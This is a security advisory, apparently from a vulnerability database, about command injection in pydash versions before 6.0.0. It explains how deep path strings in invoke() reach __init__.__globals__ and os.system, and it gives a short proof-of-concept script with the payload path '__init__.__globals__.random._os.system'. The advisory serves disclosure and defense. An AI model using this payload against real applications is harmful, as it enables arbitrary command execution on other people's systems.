Command Injection Affecting pydash package, versions [,6.0.0)

pydash is a The kitchen sink of Python utility libraries for doing "stuff" in a functional way. Based on the Lo-Dash Javascript library.

Affected versions of this package are vulnerable to Command Injection. A number of pydash methods such as pydash.objects.invoke() and pydash.collections.invoke_map() accept dotted paths (Deep Path Strings) to target a nested Python object, relative to the original source object. These paths can be used to target internal class attributes and dict items, to retrieve, modify or invoke nested Python objects.

Note:

The pydash.objects.invoke() method is vulnerable to Command Injection when the following prerequisites are satisfied:

1. The source object (argument 1) is not a built-in object such as list/dict (otherwise, the __init__.__globals__ path is not accessible)

2. The attacker has control over argument 2 (the path string) and argument 3 (the argument to pass to the invoked method)

The pydash.collections.invoke_map() method is also vulnerable, but is harder to exploit as the attacker does not have direct control over the argument to be passed to the invoked function.

import sys
import random

import pydash


class Animal:
    def __init__(self, typ, age):
        self.type = typ
        self.age = age
        self.id = random.randint(1, 99999)


def poc(path, arg):
    """
        Use a malicious path to execute code via the __init__.__globals__ dict (not available with dict/list input objects?)
        I.e: pydash.invoke(obj, '__init__.__globals__.random._os.system', 'id')
    """

    obj = Animal('cat', 11)
    res = pydash.invoke(obj, path, arg)
    print(res)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Missing args: %s <path> <arg>' % sys.argv[0])
        sys.exit(1)
    poc(sys.argv[1], sys.argv[2])

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